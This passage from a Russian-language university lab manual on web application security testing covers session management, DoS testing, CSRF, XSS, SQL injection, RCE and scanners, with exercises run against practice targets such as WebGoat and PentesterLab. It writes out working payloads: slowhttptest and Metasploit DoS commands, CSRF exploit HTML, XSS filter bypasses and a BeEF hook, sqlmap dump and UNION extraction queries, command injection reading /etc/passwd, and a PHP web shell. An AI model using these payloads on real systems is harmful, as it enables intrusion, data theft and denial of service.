Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения `www.test.app.com`. Просмотреть Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp Suite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-браузере (можно использовать

расширение Export Cookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Sign out», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

```
GET / HTTP/1.1
Host: www.test.app.com
\r\n
```

Получить и проанализировать ответ

```
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure
```

Аутентифицироваться, используя запрос с полученным идентификатором ID:

```
POST https://www.test.app.com/auth HTTP/1.1
Host: www.test.app.com
Cookie: ID=d8eyYq3L0z2fgq10m4v
\r\n
user=test&password=Zz123456
```

Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии.

Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.

Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.

Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

Вопросы и задания

1. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб-приложения.
2. Используя поисковые системы (Google, Shodan), найти веб-приложения с механизмом URL Rewriting.
3. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

Тестирование на устойчивость к атакам отказа в обслуживании

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам).

Краткие теоретические сведения

Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.

Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки Ping of Death (L3), SYN Flood (L4), SSL Renegotiation DoS

(L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фрэймворк и т.д.).

Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализация атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) обычно достаточно одного компьютера [10 – 13].

Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде [9]. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида `select benchmark(100000000, now())` для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP Bomb).

Постановка задачи

Выполнить тестирование устойчивости веб-приложения `www.test.app.com` к DoS-атакам на уровне протокола HTTP.

Последовательность действий

Шаг 1. Установить программу slowhttptest, доступную по URL вида `https://code.google.com/p/slowhttptest`. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000
–u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50
-w 1 -y 2 -z 1 –u http://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. Проанализировать результаты. Выполнить команду

```
# slowhttptest -R -u http://www.test.app.com -t GET
-c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку Apache Range Header с использованием Metasploit Framework:

```
# msfconsole
> use auxiliary/dos/http/apache_range_dos
> show options
> set RHOSTS www.test.app.com
> set RPORT 80
> set RLIMIT 100
> set THREADS 3
> run
```

Вопросы и задания

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

Поиск уязвимостей к атакам CSRF

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам CSRF.

Краткие теоретические сведения

Атака Cross-Site Request Forgery (CSRF или XSRF) переводится как «Межсайтовая подделка запросов» [14, 15]. Данная атака заключается в том, что злоумышленник вынуждает браузер пользователя отправить без ведома последнего произвольный HTTP-запрос.

Уязвимость к атаке CSRF обусловлена недостатками отсутствия или некорректности проверки веб-приложением источника (origin) HTTP-запросов.

Как правило, атака проводится в два этапа. На первом этапе злоумышленник подготавливает веб-ресурс (либо на своем собственном сервере, либо на каком-либо форуме или в социальной сети), содержащий код HTML или JavaScript и

вынуждающий браузер пользователя выполнить нужный злоумышленнику HTTP-запрос.

На втором этапе злоумышленник вынуждает жертву зайти на подготовленный им ресурс, передав ей ссылку с завлекающим текстом. Для этого злоумышленник может воспользоваться социальными сетями, электронной почтой или системами обмена мгновенными сообщениями, а также использовать методы социальной инженерии. Для маскировки адреса вредоносного веб-ресурса, злоумышленник может воспользоваться сервисом по сокращению URL (например, goo.gl или bit.ly).

Рекомендуемым общим методом защиты от атак CSRF является метод Synchronizer Token Pattern, осованный на использование случайных токенов [15]. Нерекомендуемыми методами защиты от атак CSRF являются:

- проверка HTTP-заголовка Referer;
- проверка наличия HTTP-заголовка X-Requested-With;
- использование дополнительных действий пользователя для подтверждения;
- использование заголовка Cookie (метод защиты «Double submit cookies»);
- отправка нескольких запросов;
- использование метода POST.

При реализации защиты от атак CSRF в первую очередь требуется убедиться, что приложение не содержит уязвимостей, позволяющих провести атаку XSS, так как почти все меры противодействия атакам CSRF могут быть преодолены через использование данной уязвимости.

Кроме того, необходимо проверить, что все действия, изменяющие состояние веб-приложения (действия по изменению или удалению различных объектов и т.п.), реализуются только с использованием метода POST (либо обычный POST, либо POST через AJAX).

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам CSRF.

Последовательность действий

Шаг 1. Запустить веб-приложение WebGoat. Ввести логин: «guest», пароль: «guest». Перейти по ссылке «Cross-Site Scripting → Cross-Site Request Forgery». Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле «Message» значение «test». Нажать кнопку «Submit». Просмотреть с помощью Burp Suite или аналогичного средства отправленный браузером запрос

Ввести в поле «Title» значение «Hello», а в поле «Message» следующий HTML-код:

```
<img
src=http://localhost/WebGoat/attack?transferFunds=40
00>
```

Шаг 2. Перейти по ссылке «Cross-Site Scripting → CSRF Prompt By-Pass». Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле «Message» следующий HTML-код:

```
<img
src="http://localhost/WebGoat/attack?transferFunds=4
000" onerror="i1=document.createElement('img');
i1.src='http://localhost/WebGoat/attack?transferFund
s=CONFIRM'">
```

Шаг 3. Проверить уязвимость веб-приложения www.app.test.com к атакам CSRF. Найти функцию, меняющую состояние веб-приложения. Выполнить эту функцию. Просмотреть HTTP-запрос. Удалить из него заголовки Referer и X-Requested-With (если они имеются). Проверить, что в запросе используется метод POST. Проверить наличие в запросе параметра, соответствующего CSRF-токену (он может называться CSRF_token, CSRFToken, authenticity_token). Приложение уязвимо к атаке CSRF, если успешно выполнен один из следующих тестов:

- запрос не содержит CSRF-токенов в специальных заголовках и параметрах формы, а заголовки Referer и X-Requested-With мо-

гут быть удалены из запросов без нарушения функциональности приложения;
- запрос содержит CSRF-токен, но последний может быть удален из-запроса без нарушения функциональности приложения;
- запрос содержит CSRF-токен, но значение последнего может быть любым или пустым;
- CSRF-токен одного пользователя может быть использован другим пользователем;
- CSRF-токен является предсказуемым;
- приложение обрабатывает как POST-запросы с CSRF-токенами, так и GET-запросы без CSRF-токенов;
- существует hard-coded CSRF-токен для отладки и тестирования.

Шаг 4. К обнаруженной уязвимости к атаке CSRF написать эксплоит. Например, пусть для удаления учетной записи используется следующий запрос:

```
POST /delete HTTP/1.1
Host: www.app.test.com
Cookie: JSESSIONID=KxwexXHkDqzObNrFnXZN19Lq
\r\n
user=test&en=187213&pp=true
```

Если данный запрос не содержит CSRF-токенов, то для эксплуатации CSRF-уязвимости можно разместить на ресурсе злоумышленника следующий HTML-код:

```
<html>
<body>
<form          action="http://www.app.test.com/delete"
method=POST>
   <input type="hidden" name="user" value="test">
   <input type="hidden" name="en" value="187213">
   <input type="hidden" name="pp" value="true">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
```

Перейти на веб-ресурс злоумышленника, убедиться, что поддельный запрос отправляется и обрабатывается приложением.

Вопросы и задания

1. Для веб-приложения, уязвимого к атаке CSRF, написать эксплоит, отправляющий данные типа multipart/form-data.
2. Для веб-приложения, уязвимого к атаке XSS, написать на языке JavaScript эксплоит, извлекающий CSRF-токен.
3. Показать, как, используя уязвимость к атаке CSRF, можно выполнить атаку XSS.

Поиск уязвимостей к атакам XSS

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам XSS.

Краткие теоретические сведения

Атака Cross-Site Scripting (XSS) – это атака на веб-приложение, использующая недостатки неправильной обработки данных и позволяющая выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника (origin) уязвимого веб-приложения.

Атаки XSS классифицируются по вектору и способу воздействия. По вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми (persistent) и основанными на объектной модели документа (DOM-based). По вектору атаки XSS делятся на активные и пассивные.

Устойчивая атака XSS – это XSS атака, в результате которой введенный злоумышленником код сохраняется на веб-сервере и возвращается пользователю в запросе не содержащем вектор атаки.

Отраженная атака XSS – XSS атака, в результате которой код, введенный злоумышленником, передается пользователю в ответе на тот же запрос, в котором передан вектор атаки.

Атака XSS, называется DOM-based, если код злоумышленника может быть выполнен в браузере пользователя без отправки запроса на сервер веб-приложения.

В результате успешной реализации атаки XSS злоумышленник может выполнить, например, следующие действия:

- перенаправить пользователя на любой веб-сайт;
- получить аутентификационные данные пользователя, передающиеся в Cookie;
- получить любые данные, к которым имеет доступ клиентская часть веб-приложения;
- получить доступ к внутренней сети пользователя;
- выполнить Deface веб-сайта и т.д.

В общемировой практике тестирования защищенности веб-приложений в качестве доказательства уязвимости приложения к атаке XSS принято демонстрировать возможность выполнения JavaScript-кода вида alert(1), prompt(/XSS/), confirm(0) и т.п.

При тестировании наличия уязвимости к атакам XSS важно определять контекст, в который выводятся данные. Существуют следующие виды контекстов: HTML, SCRIPT, STYLE, URL и атрибутный [16]. Ниже приведены примеры XSS-векторов для каждого из контекстов:

```
<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name='';alert(1);'';</script>
<a href="javascript:alert&lpar;1rpar;">ClickMe</a>
<div class=""onmouseover="alert(1);">…</div>
<div syle="width:expre/**/ssion(alert(1))">…</div>
```

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово script фильтруется. Ввести вектор

```
<ScRipT>alert(1)</sCrIpT>
```

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово <script> вырезается. Ввести вектор

```
<scr<script>ipt>alert(1)</s</script>cript>
```

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
<script>alert(1)</script>
```

Убедиться, что слово <script> вырезается корректно. Ввести вектор

```
<img/src=1 onerror=alert(1)>
```

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

```
<script>alert(1)</script>
<img/src=1 onerror=alert(1)>
```

Убедиться, что слово alert вырезается корректно. Ввести вектора

```
<img/src=1 onerror=\u0061lert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source;
eval(t)">
```

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

```
";alert(1);"
</script><script>alert(1);//
```

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
";alert(1);"
```

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name ввести вектор

```
';alert(1);'
```

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

```
xss/example8.php/"onsubmit="alert(1)
```

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

```
xss/example9.php#<script>alert(1)</script>.
```

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра `name` ввести вектор

```
<script src="http://1.1.1.1:3000/hook.js"></script>
```

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузере и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

- «Create Alert Dialog»;
- «Redirect Browser», перенаправив пользователя на сайт http://evil.com;
- «Clickjacking»;
- «Clippy»;
- «Fake Notification Bar»;
- «Google Phishing»;
- «Pretty Theft».

Вопросы и задания

1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.
2. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте escape.alf.nu.
3. Выполнить несколько заданий по поиску уязвимостей к атакам XSS на сайте prompt.ml.

Поиск уязвимостей к атакам SQL-injection

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб-приложениях к атакам SQL-injection.

Краткие теоретические сведения

Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.

Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения.

В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак SQL-injection [17]:

- классическая;
- «слепая» типа boolean-based;
- «слепая» типа time-based;
- error-based;
- вложенная;
- фрагментированная.

Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра `id` к атаке SQL-injection:

- http://www.test.app.com/index?id=1'
- http://www.test.app.com/index?id=1"
- http://www.test.app.com/index?id=1' order by 1000
- http://www.test.app.com/index?id=1"--
- http://www.test.app.com/index?id=1'/*
- http://www.test.app.com/index?id=1"#
- http://www.test.app.com/index?id=1 and 1=1--
- http://www.test.app.com/index?id=1 and 1=2–
- http://www.test.app.com/index?id=1' and '1'='1
- http://www.test.app.com/index?id=1' and '1'='2

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example1.php?name=root'
- sqli/example1.php?name=root"
- sqli/example1.php?name=root'%201=1
- sqli/example1.php?name=root'%201=1#
- sqli/example1.php?name=root'%201=1%20–
- sqli/example1.php?name=root'%201=1%20/*
- sqli/example1.php?name=root'%20'1'='1
- sqli/example1.php?name=root'%20'1'='2
- sqli/example1.php?name=root'%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py –p name --dmbs=mysql --dump
–u http://IP_address/sqli/example1.php?name=root
```

Просмотреть результаты работы программы, просмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example2.php?name=root%20and%201=1
- sqli/example2.php?name=root'%09and%09'1'='1
- sqli/example2.php?name=root'%09and%09'1'='2
- sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example3.php?name=root%20and%201=1
- sqli/example3.php?name=root'/**/and/**/'1'='1
- sqli/example3.php?name=root'/**/and/**/'1'='2
- sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example4.php?id=2
- sqli/example4.php?id=2'
- sqli/example4.php?id=2"
- sqli/example4.php?id=1%2b1
- sqli/example4.php?id=0%2b2
- sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dmbs=mysql --dump
-u http://IP_address/sqli/example4.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «`SQL injections → Example 5`». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example5.php?id=2
- sqli/example5.php?id=2'
- sqli/example5.php?id=2"
- sqli/example5.php?id=1%2b1
- sqli/example5.php?id=0%2b2
- sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dmbs=mysql --dump
-u http://IP_address/sqli/example5.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «`SQL injections → Example 5`». Проанализировать логику функционирования веб-приложения.

Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example6.php?id=2`
- `sqli/example6.php?id=2'`
- `sqli/example6.php?id=2"`
- `sqli/example6.php?id=1%2b1`
- `sqli/example6.php?id=0%2b2`
- `sqli/example6.php?id=3-1`
- `sqli/example6.php?id=5-3`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «`SQL injections → Example 5`». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example7.php?id=2`
- `sqli/example7.php?id=2'`
- `sqli/example7.php?id=2"`
- `sqli/example7.php?id=1%2b1`
- `sqli/example7.php?id=3-1`
- `sqli/example7.php?id=2%0Aand%201=1`
- `sqli/example7.php?id=2%0Aand%201=2`
- `sqli/example7.php?id=2%0A%23sqli`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

- `sqli/example7.php?id=2%0Aunion%20select%201`
- `sqli/example7.php?id=2%0Aunion%20select%201,2`
- `sqli/example7.php?id=2%0Aunion%20select%201,2,3`
- `sqli/example7.php?id=2%0Aunion%20select%201,2,3,4`

- `sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5`
- `sqli/example7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users`

Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-сценария.

Вопросы и задания

1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.
2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.
3. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.

Поиск уязвимостей к атакам RCE

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам RCE.

Краткие теоретические сведения

Remote Code Execution (RCE) – это собирательный термин, обозначающий класс атак, приводящих к выполнению произвольного кода веб-приложением. Атаки данного класса возможны из-за недостаточной обработки веб-приложением пользовательских входных данных, пересекающих границу доверия.

Как правило, выделяют следующие основные разновидности атак RCE [18]:

- загрузка произвольных файлов (Unrestricted File Upload);
- использование локальных файлов (Local File Inclusion);
- внедрение кода (Code Injection);

– выполнение команд (Command Injection).

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам RCE.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «Code Injection → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*(). Просмотреть сообщение об ошибке. Изучить документацию PHP по функции eval(). Ввести последовательно значения 123"."456 и "./*123456*/". В качестве доказательства наличия уязвимости ввести значение ".system('uname -a');".

Шаг 2. Перейти по ссылке «Code Injection → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*(). Просмотреть сообщение об ошибке. Изучить документацию PHP по функциям create_function() и usort(). Ввести последовательно значения id;}// и id);}//. В качестве доказательства наличия уязвимости ввести значение

```
id);}system('whoami');//.
```

Шаг 3. Перейти по ссылке «Command Injection → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1. Просмотреть вывод приложения. В качестве значения переменной ip ввести

```
127.0.0.1;uname%20-a;whoami;cat%20/etc/passwd.
```

Шаг 4. Перейти по ссылке «Command Injection → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1;whoami. Просмотреть вывод приложения. В качестве переменной ip ввести значение

```
127.0.0.1%0acat%20/etc/passwd
```

Шаг 5. Перейти по ссылке «Command Injection → Example 3». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1;whoami. Просмотреть вывод приложения. Запустить сетевой анализатор. Повторить запрос. Будет выполнено перенаправление на ресурс example3.php?ip=127.0.0.1, но в то же время HTTP-ответ с кодом 302 будет содержать вывод команды whoami. Это означает, что приложение уязвимо к атаке Execution After Redirect (EAR). Ввести переменной ip ввести значение

```
127.0.0.1;cat%20/etc/passwd
```

Просмотреть содержимое файла /etc/passwd в HTTP-ответе.

Шаг 6. Перейти по ссылке «File Include → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение

```
';&"\/#|*()
```

Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd. Это означает, что приложение уязвимо к атаке LFI. Просмотреть содержимое. В качестве переменной page ввести значение http://gmail.com. Это означает, что веб-приложение уязвимо к атаке Remote File Inclusion (RFI).

В веб-браузере перейти по адресу https://pentesterlab.com/test_include.txt и просмотреть полученный в ответе PHP-код. В качестве значения переменной

page ввести https://pentesterlab.com/test_include.txt. Просмотреть и проанализировать результаты.

Шаг 7. Перейти по ссылке «File Include → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение

```
';&"\/#|*()
```

Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd. В данном случае к введенному имени файла добавляется расширение «php». В качестве переменной page ввести значения /etc/passwd%00 и https://pentesterlab.com/test_include.txt%00.
Просмотреть и проанализировать результаты.

Шаг 8. Перейти по ссылке «File Upload → Example 1». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом:

```
<?php system($_GET['cmd']);?>
```

Загрузить файл на сервер. Отправляя запросы виды /upload/images/shell.php?cmd=whoami, возможно выполнять произвольные команды на сервере с правами пользователя, от имени которого запущен веб-сервер. Выполнить несколько команд, просмотреть и проанализировать результаты.

Шаг 9. Перейти по ссылке «File Upload → Example 2». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом:

```
<?php system($_GET['cmd']);?>
```

Загрузить файл на сервер. Убедиться, что приложение не допускает загрузку файлов с расширением «php». Переименовать файл shell.php в shell.php.cats или shell.php3. Загрузить файл,

проверить наличие возможности выполнения произвольных команд.

Вопросы и задания

1. Как автоматически идентифицировать уязвимости, связанные с загрузкой файлов на сервер?
2. Изучить рекомендации по реализации защищенной загрузки файлов на сервер.
3. Загрузить на сервер и использовать PHP шелл-код c99.

Сканирование уязвимостей веб-приложений

Цель работы

Целью лабораторной работы является изучение основных методов и средств идентификации уязвимостей, реализованных в специализированных сканерах безопасности веб-приложений.

Краткие теоретические сведения

В настоящее время не существует технического решения, позволяющего полностью автоматизировать процесс анализа защищённости веб-приложений [19, 20]. Как показывает практика, средства анализа защищённости должны использоваться только на первом этапе тестирования таких приложений для предварительного поиска потенциальных уязвимостей. В целом сканеры безопасности могут помочь идентифицировать хорошо известные проблемы с безопасностью веб-приложений или, по крайней мере, облегчить работу по их поиску.

Как правило, при анализе защищенности веб-приложений сканеры безопасности позволяют решить следующие задачи:

- поиск грубых недостатков, допущенных на этапах реализации или конфигурации;
- поиск хорошо известных уязвимостей;
- проверка соответствия требованиям стандартов безопасности;
- проверка отсутствия пропущенных уязвимостей в процессе ручного тестирования.

Рассмотрим методы и механизмы поиска уязвимостей веб-приложений на примере сканера безопасности общего назначения XSpider.

В рамках анализа защищенности веб-приложений сканер безопасности XSpider имеет следующие основные возможности:

- автоматическое определение веб-приложений на произвольных портах;
- работа с протоколами семейства SSL/TLS;
- автоматическая индексация веб-сервера с поддержкой функции поиска скрытых директорий и резервных копий файлов;
